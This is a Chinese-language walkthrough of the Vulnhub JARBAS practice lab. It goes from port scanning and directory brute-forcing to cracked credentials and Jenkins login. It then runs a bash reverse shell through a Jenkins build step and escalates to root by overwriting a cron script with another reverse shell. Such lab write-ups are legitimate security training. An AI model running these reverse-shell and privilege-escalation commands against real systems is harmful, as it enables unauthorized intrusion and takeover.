Vulnhub-JARBAS

0x00 Introduction

这个靶场的考察点主要是 Jenkins 的漏洞利用和 crontab 计划任务提权。打靶思路见下图。

0x01 端口扫描

首先对所有端口进行 TCP 扫描:

sudo nmap -sT --min-rate 10000 -p- 192.168.46.140

接下来对这个四个端口进行详细信息扫描:

sudo nmap -sT -sC -sV -p22,80,3306,8080 192.168.46.140

对这四个端口的探索及利用排个优先级:80>8080>22>3306。

0x02 Web渗透

浏览器访问 http://192.168.46.140 :

探索了一下,没发现什么可以利用的点,接下来目录爆破:

gobuster dir -u http://192.168.46.140 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

没有爆破到任何信息:

那么限制扩展名试试?根据 Wappalyzer 的分析结果得知后端语言是 PHP,那我们限制扩展名是 php 和 html 试试:

gobuster dir -u http://192.168.46.140 --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,html

这次爆出有用信息了:

访问 http://192.168.46.140/access.html :

利用 hash-identifier识别一下这是什么加密方式:

找一个 MD5 解密网站,解密结果是:

tiago: italia99
trindade: marianna
eder: vipsu

一看就是账号密码,ssh 登录试试。

很遗憾失败了。

接下来探索 8080 端口,访问 http://192.168.46.140:8080

正好是个登录界面,用第三个账号密码登录成功了:

0x03 Jenkins漏洞利用

看大佬视频才知道 Jenkins 是一个比较出名的工具,用于持续集成(CI)和持续交付(CD),简化软件开发中的构建、测试和部署过程。

既然如此,用 searchsploit 搜索相关的漏洞及其利用

有这么多公开漏洞,一个一个试不太现实。红队笔记说他对 Jenkins 非常熟悉,因此对漏洞触发的点也非常清楚。我们直接跟着他的思路走,下次再遇到 Jenkins ,直接尝试这个 EXP ,如果不行再尝试其它漏洞。

新建个项目,项目类型选择第一个:

Build 这栏执行命令的选项。前面信息收集是,我们已经知道了目标主机是 Linux 操作系统,所以选择第二个 Execute shell

然后就可以执行反弹 shell 了,本机开启一个 888 监听端口:

nc -lvp 888

生成个命令,复制到输入框里:

save,然后点击 Build Now:

最后发现错误原因是上面生成的命令中 /888 前面多了个空格,输入正确命令

bash -i >& /dev/tcp/192.168.46.131/888 0>&1

执行反弹 shell 成功:

当前 shell 不是一个完全交互式的 shell,我们尝试用之前学到的命令升级一下,python 命令成功了:

python -c 'import pty; pty.spawn("/bin/bash")'

0x04 提权

查看相关信息:

查看 /etc/passwd:

可以看到 root 和 eder 是可以使用 bash 的,当前用户不可以使用 bash。

接下来看/etc/shadow

很遗憾,没有权限。

那么就得想其它办法提权了。之前写过一篇权限提升的博客,这里用到的是 Cron 计划任务。

查看当前服务器的定时任务:

cat /etc/crontab

每 5 分钟就会以 root 权限运行 /etc/script/CleaningScript.sh:

查看一下这个文件有没有写权限:

太好了,有写权限,那么我们就可以写入反弹 shell 命令,获取 root 身份的 shell 了。

本机再开启一个 1234 监听端口,当前 shell 输入以下命令:

echo "bash -i >& /dev/tcp/192.168.46.131/1234 0>&1" > /etc/script/CleaningScript.sh
// `>`:覆盖写入
// `>>`:追加写入

最多等待 5 分钟,就能成功提权:

获取 flag:

0x05 Conclusion

这个靶场总体来说不算难,不但巩固了以前学过的知识,也给了我一些启发。比如目录爆破的时候,不带参数扫描不出来结果,如果卡在这里就完全走不下去了。因此以后在做目录爆破的时候,如果一次扫不出结果,可以限定后缀名,或者使用其它工具试试。整个打靶过程,还是比较考验知识储备的,比如我之前根本没听说过 Jenkins ,不过以后再遇到就有思路了。